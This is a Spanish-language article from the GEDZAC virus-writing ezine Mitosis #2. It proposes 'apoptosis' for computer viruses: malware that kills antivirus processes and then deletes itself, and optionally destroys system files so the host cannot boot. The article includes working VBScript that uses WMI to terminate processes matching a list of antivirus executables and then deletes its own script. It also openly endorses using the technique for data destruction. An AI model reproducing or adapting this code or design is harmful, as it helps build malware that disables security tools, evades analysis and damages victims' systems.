Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 02 001
(C) MITOSIS #2 E-Zine/GEDZAC 2004
Tema: Apoptósis aplicada a los virus informáticos
Autor: Falckon/GEDZAC
Fecha: 3 Enero 2003 / 12:15 am
----------------------------------------------------------
-Introducción y Teoría:
Antes que nada no estudio biología pero si tengo esta clase en la escuela, de
hecho saco unos 8.6 en los exámenes. No soy QFB ni nada que se le paresca, pero a
consecuencia de unos estudios y del interesante mundo de los virus tanto biologi-
cos como informáticos me he decidido a escribir este artículo que me parece muy
muy interesante aplicarlo a nuestro mundo.
Definamos antes que nada Qué es la apoptosis?
La Apoptósis es la muerte celular programada.
Es un proceso celular geneticamente controlado por el que las células inducen su
propia muerte en respuesta a determinados "estímulos", en otras palabras:
"Suicidio Célular".
Creo que ya no habrá necesidad de entrar más en teoría seguro ya ha quedado claro
-Cómo y por qué se me ocurrió?:
Bueno pues, hace ya un año salió un gusano (Winevar), bueno el caso es que este
al detectar alguna ventana con tales strings intentaba inútilizar el sistema
borrando todos sus archivos.
Luego de unos estudios y lectura de interéstantes textos como "el virus perfecto"
escrito por "M0n30" pues me dieron aún más ideas en especial sobre la autodes-
trucción viral, simplemente no es por nada pero m0n30 no mencionaba el nombre
real de esto en lo biologico.
Unos meses después empecé con la creación de un virus parasito - gusano en VBS,
Polimorfico y encriptado llamado SpielUhr, (a estas alturas él está en esta
máquina no ha sido liberado solo se encuentra en mi Lab encerrado siendo sometido
a pruebas) bueno este bicho como les comento se me ocurrió aplicar la apoptósis.
Detecta los procesos Antivirales y ventanas de Antivirus Online en caso de encon-
trar estas ultimas seleccionando de una lista de palabras no muy grande procede a
cerrar cada una que encuentre en el caso de haber actuado esta función más de 10
veces el virus determinará que el usuario probablemente(y seguro) esté intentando
scanear su máquina ya que habrá detectado la presencia de nuestra especie
queriendo así poner fin a nuestro bebé, lo cual no logrará ya que este procederá
a autoeliminarse borrando su código total mente de la máquina huesped y eliminan-
do archivos DLL de la carpeta system, así pues spieluhr mataría a su huesped y se
mataría el mismo solo como medio de protección y no de intención de dañar la
máquina, yo a esto si le consideraría lamersada, ya que dañar sistemas así nomás
sin ninguna razón es meramente estúpido al igual que hacerlo con algun animo de
lucro o vengaza.
Pero ahí no acaba la cosa yo hasta ese momento no sabía lo que andaba codeando,
posiblemente por que soy un principiante y más por que no sé de biología (=P),
simplemente mientras hacía unas pruebas con el polimorfismo del spieluhr olvidé
encriptarlo (ya que esto es la base de su funcionamiento y mecanismo) lo cual
ejecuté por que tenía unos errores y pues cometí ese gran error.
Spieluhr terminó sobreescribiendose y dejando nada en su propio archivo, genial,
spieluhr había cometido suicidio celular, ya que, al no poder funcionar su
polimorfismo simplemente cometió el descaro de suicidarse, suerte la mía tenía
una copia de seguridad hehe, pero sorprendido por lo que acababa de pasar fui
corriendo a investigar con una persona, ella es Quimica Farmaco Biologa y no es
por nada pero me explicó lo que Spieluhr acababa de hacer es entonces cuando ya
surgió totalmente la idea de la apoptósis cybernetica.
-Aplicación porqué y para qué?:
Pero porqué aplicar la apoptósis en los virus informáticos?
La respuesta es simple y como en los virus biologicos, sería responder a determi-
nados estímulos, en este caso sería la defensa propia del virus, tal vez muchos
coders experimentados esten encontra de esto ya que, de que sirve dotar a un
virus de gran propagación si luego va a llegar a un huesped en el cual no vivirá
mucho y se autodestruirá, esto no tendría sentido, pero si lo vemos por el lado
el cual ya mencioné, la defensa, nos sería muy útil para evitar la caza del virus
por parte del usuario tanto experimentado o de bajo nivel, ya que solo los que
tengan un muy alto conocimiento pueden remover un virus en forma manual, la
mayoría utilizará un antivirus.
Por otra parte le daríamos una muerte digna al Virus, sin tener que morir en
manos de un antivirus sería lo más justo, además con esto evitaríamos que nuestro
bebé sea atrapado, es un juego entre la vida y la muerte, además de esto en la
autodestrucción o Suicidio podríamos también no solo afectarnos, también afectar
el sistema huesped, osea en el momento de detectar cualquier intento de detección
el componente apoptotico de nuestro virus entraría en acción, buscaría su binario
o su "célula" y procedería a la autodestrucción, sobreescribiendo el archivo con
basura o eliminandolo, con eso bastaría para por ejemplo evitar que el usuario
vaya por nuestro binario y lo envíe a una casa AV o simplemente en el peor de los
casos limpiarlo...
Como ya mencioné antes, podríamos también afectar el sistema huesped, destruyendo
algunos archivos del sistema operativo y así haciendo imposible su arranque, así
el virus se habría suicidado y también habría dado muerte a su alojador, lo cual
sería imposible de atrapar o si quiera recuperar el código del virus, sé que a
muchos coders les parecerá "lamer" el usar esto, ya que eliminar máquina es sino-
nimo de baja reproducción y por lo tanto nuestro componente apoptotico solo sería
usado en casos extremos.
-Esquema:
-------------
|spoolsv.exe|
|svchost.exe|
#################### Buscando Procesos/Antivirales |notepad.exe|
# Virus # <----------------------------------> #PCScan.exe #
#################### ^ -------------
| / |
| / |
| .-----------´ |
| | |
| ############# ----------------
| # Vir List # .-->| PCScan.exe |
| # Mcafee.exe# | ----------------
'---------------- # Nod32.exe # | |
# PCScan.exe#-' |
############# |
|
|
#############
# Detected! #
#AutoDefensa#
#############
|
|
|
------------------- |
|PCScan.exe Killed|<-------------'
-------------------
|
|
------------------
|Si X => 10 |
------------------
|
|
###################### |
# Virus Deleted # <---------'
######################
Este simple esquema demuestra la apoptósis, explicación:
El virus busca procesos (tambien puede ser ventanas), en su código contiene una
lista de procesos Antivirus, extrae los procesos corriendo y va comprobando si
alguno de los que tiene se encuentra en ejecución si no es el caso vuelve a
repetir el proceso esto debe hacerse por lo menos cada 10 segundos, en el caso
contrario procederá a cerrar el proceso y llevar un contador de cuantas veces se
ha detectado un proceso antiviral y si este es igual o mayor a 10 entonces el
virus se autoeliminará no dejando rastro.
Creo esto es sencillo y es una buena técnica de defensa antiviral.
En mis dos años de codeo nunca he llegado a ver alguna forma de defensa viral,
solo he llegado a ver técnicas de antieliminación y creo es hora de que si la
técnología avanza, los virus evolucionen y poco a poco adquieran un poco de
inteligencia.
-Programando:
Bueno pues ya os parecía aburrida la teoría?
bueno pues vamos a meternos a codear, en principio había programado ejemplos en
ensamblador para hacer más "interesante" este artículo pero por "problemas" y
"criticas" he decidido basarme solamente en VB.
He aquí un código en VBS para que entendais mejor la apoptósis:
';---------------------------inicio de codigo------------------------------;
'// Apoptósis - La teoría de los retrovirus
'// by Falckon/GeDzAC
'// Example in VBS
'// En este ejemplo demuestro la utilización de la apoptósis
'// en vbs, buscando por procesos antivirales :D
On Error Resume Next '/Control de errores (importante!)
Dim gObject,iFor,Contador
Do '/Inicio del Do
Dormir(5000) '/esperamos 5 segundos, así logramos hacer un Timer
'/Microsoft Windows Management Instrumentation (WMI)
'/Hacemos un For para extraer todos los procesos
For Each iFor in GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Process")
'Llamamos a la funcion ProcesosAV pasandole el nombre del proceso
If ProcesosAV(iFor.Name) = true Then
'/Entonces ya que comprobamos que existe el AV terminamos su ejecución
iFor.Terminate()
'/Aumentamos Contador en uno
Contador = Contador + 1
'/Si Contador es mayor a 10 entonces..
If Contador > 10 then
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
'/Autodestruimos nuestro script
Fso.DeleteFile Wscript.ScriptFullName
End if
End if
Next
Loop
Function Dormir(segundos)
'Function que duerme unos segundos el Do-Loop
Wscript.Sleep(segundos)
End Function
Function ProcesosAv(ExE)
'/Esta funcion busca los procesos puestos en un array
'/y si alguno es igual al que se pasó a la funcion
'/devuelve true
Dim AVArray,FProcess
'/Array con los nombrs de los procesos a buscar
AVArray = Array("pqremove.com","nod32.exe","antivir.exe")
'/Extraemos los nombres del array
For Each FProcess in AVArray
'/Si algun proceso es igual al que se extrajo entonces
If FProcess = LCase(ExE) Then
'/ProcesosAV es igual a verdadero / Detectado el antivirus!
ProcesosAV = True
Else
'/ PrcesosAV es falso no hay nada
ProcesosAV = False
End if ' /Fin de IF
next '/fin de next
End Function
'//nota: este ejemplo no es funcional en Win98
'//tested in WinXP build 2600
';--------------------------fin de codigo------------------------------
este es un ejemplo practico y sencillo en VBS,
creo que no hace falta explicación....
estudiadlo que así aprendeis.
-Resumen.
La apoptósis no es necesaria, pero si en buena forma para la autodefensa de la
propia especie viral, para así evitar su eliminación por parte de los productos
antivirales y creo que es mejor suicidarse a que ser eliminados por otros.
También podemos utilizarla no solo como medio de defensa si no como medio para la
destrucción de los datos, fines malevolos, en fin.
(C) MITOSIS #2 E-Zine/GEDZAC 2004